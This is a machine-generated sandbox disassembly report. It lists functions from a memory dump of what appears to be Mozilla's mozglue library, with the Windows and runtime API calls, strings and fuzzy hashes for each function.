Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction ID: cecb7a913daaa3761154ec008c29e106a4275629ebcb251de418c538bfdfe8ba
Opcode Fuzzy Hash: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction Fuzzy Hash: 7C419171A047469BD300DF29C48056AFBF4FFEA254F604A6DE4A987680DB30D559CB92

Function 6C9A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9A82BC,?,?), ref: 6C9A649B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A64A9

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A653F
free.MOZGLUE(?), ref: 6C9A655A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction ID: 5bb3e00fefdcc33598867a9ff215f6eba394a3981c803a8c44895d20dab470ef
Opcode Fuzzy Hash: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction Fuzzy Hash: 773181B5A047059FD740CF14D88469EBBF4FF98314F10482DE85A97741D730E919CB92

Function 6C99FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C99FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C99FFF5
free.MOZGLUE(?,?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C9A001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C9A002A

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction ID: 9f2a68318919fe606da68b33717f06ac664957a5e69e71c841a9b1f70c56868c
Opcode Fuzzy Hash: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction Fuzzy Hash: 1D210872A002165BD7189E78DC944AFF7BAEB993243290738E526D7780EB30ED1186D1

Function 6C97B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B4F5
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B502
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B542
free.MOZGLUE(?), ref: 6C97B578

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction ID: 1ab6b58d286778ffc99e30e480bb00447efd41ddfcb153d2f1ff8fdcebadb254
Opcode Fuzzy Hash: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction Fuzzy Hash: F411A231909B45C7D7228F29D804765B3B5FFEA318F24570AD84953E01EBB1E1C587A4

Function 6C9A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C96F20E,?), ref: 6C9A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C96F20E,00000000,?), ref: 6C9A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9A3E0E

Part of subcall function 6C99CC00: GetCurrentProcess.KERNEL32(?,?,6C9631A7), ref: 6C99CC0D
Part of subcall function 6C99CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9631A7), ref: 6C99CC16

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction ID: 54eb3a362eace2290d51837a6783f950f547eaaad3b85e2db00bdf6721694c4b
Opcode Fuzzy Hash: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction Fuzzy Hash: 91F082715002087BDB00AB94DC41DAB372CEF6A628F154420FE0917700D635FD2586F7

Function 6C9B20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20DA
free.MOZGLUE(00000000,?,6C99FBD1), ref: 6C9B20F1

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction ID: 63094c13328ea731cb51faa8fb938ac23778cf4cab11566e861574b30edb5909
Opcode Fuzzy Hash: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction Fuzzy Hash: 44E02B31604B14ABC3209F25D80854FB7FDFFAA314B10062AE50AD3B00D775F54A87D9

Function 6C9B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9B85D3

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9B8725

Strings

map/set<T> too long, xrefs: 6C9B8720

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction ID: cb8f3a64fba9c323e8cdaf06341787a0a935f6576d42b5ba4aaefbe2d8b7717a
Opcode Fuzzy Hash: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction Fuzzy Hash: 6B5186B4A00646EFC709CF18C084B56BBF1BF5A318F18C19AD8596BB52C334E885CF96

Function 6C96BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C96BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C96BE8F

Strings

0, xrefs: 6C96BE5B

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction ID: 9ec3af14961b9fd0af8e3a3abf004745a32afd623f236c9ccf535832fc5003ae
Opcode Fuzzy Hash: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction Fuzzy Hash: 6F41E571909745CFD301CF39C491A5BB7F4AF9A348F004A1DF9856BA51E730D954DB82

Function 6C9A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9A3D6C

Strings

d, xrefs: 6C9A3D58

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction ID: 62306ddcb2d6a5cf1be03aefcc77bd02af3a56dd6c2b58df199af77f86c640c7
Opcode Fuzzy Hash: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction Fuzzy Hash: 06110436E08688D7DB008BA9C8144EDB775FFAA218B458218DC45A7612EB30E5C5C750

Function 6C974730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9744B2,6C9EE21C,6C9EF7F8), ref: 6C97473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C97474A

Strings

GetNtLoaderAPI, xrefs: 6C974744

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction ID: 2e444408539cbe1cd787ebb58c1d12888fcd1cc08a52fe4f15d7faf6700a5e83
Opcode Fuzzy Hash: 56922b1525815ed4297b5ccf76939983986cda1503baecaf55994f3ccb0b3340
Instruction Fuzzy Hash: 18018C753093548FDF01AF6698846297BB9EF9F721B29006AE90ACB301CB74D801CFA1

Function 6C9C6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9C6E22
__Init_thread_footer.LIBCMT ref: 6C9C6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9C6E1D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction ID: 5ff03ee5c14f1aae06e2e6dec7bb61887dcb190dbf2658762f2112262dbf247d
Opcode Fuzzy Hash: e23ff3514a28ee5fa86c4fae328746c4f4497a00e0017d4a2b8ce92d946103e1
Instruction Fuzzy Hash: 35F0593170A24CCBDB008B68E850AA137719FFFA1CF280167C40447F53CB20E52ACAA3

Function 6C979E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C979EEF

Strings

NaN, xrefs: 6C979EC1
Infinity, xrefs: 6C979EB7

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction ID: 1edb59ae738d70e7671c05780ed0e20d53c4bb4f99371b9463333c59673b5da1
Opcode Fuzzy Hash: e74cee0d6a647cd24df6685944fa62515d538f1bc8688844608da2eb1e00d8a5
Instruction Fuzzy Hash: 66F08C7160A645CADB428B18F8467443B71AFBF31CF354A56C5080AB42D735A5CA8A92

Function 6C97BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C97BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C97BEF5

Strings

cryptbase.dll, xrefs: 6C97BEF0

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction ID: 2532b3769bb3ec6b3c9382e467f5f2e748e394294c3210d8aff2255ea91e2906
Opcode Fuzzy Hash: 77148895aded48203a111be2e7f9ece12f889da3adc61b2108ac5b0a608d108e
Instruction Fuzzy Hash: 22D013311C5308E7D7516B908D0DF193778AF59715F20C025F75554951C7B1D450CFD4

Function 6C9650E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C96510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C,?,?,?,?,?), ref: 6C965167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C965196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C964E9C), ref: 6C965234

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: cd6f07ea2daf44bffb69ed3878fb1a5c7bf90d726919fdcaba43e74460f68ad6
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 2691F135505646CFCB14CF09C890A5ABBA5FF99318B29868CDC489BB56C331FD82CBE0

Function 6C9A08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0918
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A09A6
EnterCriticalSection.KERNEL32(6C9EE7DC,?,00000000), ref: 6C9A09F3
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0ACB

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction ID: 5b9de31af6a19282f2c78ff869447a22d9df019fa41c66424373c4e1e8c75831
Opcode Fuzzy Hash: 2fbcdf817a487fc382278c42eb755b2e388b3d6df3fef90647f391a644ff1d27
Instruction Fuzzy Hash: 0A516B32B05654CBEB489A95C45472533B5EFEAB24B35913AD86797F80DB31EC02C6C0

Function 6C9BB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB628

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9BB2C9,?,?,?,6C9BB127,?,?,?,?,?,?,?,?,?,6C9BAE52), ref: 6C9BB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9BB127,?,?,?,?,?,?,?,?), ref: 6C9BB74D

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction ID: f115978db099a2a656332247f6328d876b7b83814a1f98c6dd3ce86e2f319347
Opcode Fuzzy Hash: 8a01aab7225f84701aab4ac716a8d339c855d6b3e6d954253b27f0658ce99569
Instruction Fuzzy Hash: DF51B7B1A05216DBDB14CF18C9C066FB7B5EF89704F168529C85ABBB80DB30E804CBA1

Function 6C9BDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9AFF2A), ref: 6C9BDFFD

Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B90FF
Part of subcall function 6C9B90E0: free.MOZGLUE(?,00000000,?,?,6C9BDEDB), ref: 6C9B9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9AFF2A), ref: 6C9BE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C9AFF2A), ref: 6C9BE0FE

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction ID: c867034c1424e54b6c2178f88debe033ca98ca700dc6e05c8019697a8cd94fff
Opcode Fuzzy Hash: e86ee1a3af6ff0b2058da280f2af5e79a2830912d924e388342a702ebc3d38bb
Instruction Fuzzy Hash: F141B1B1608216DFEB14CF68D88036B77BAAF46308F254979D556EB740E731E904CBD2

Function 6C9B6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9B6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9B6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6F5C

Memory Dump Source

Source File: 00000000.00000002.2800585334.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2800553760.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800681911.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800717942.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

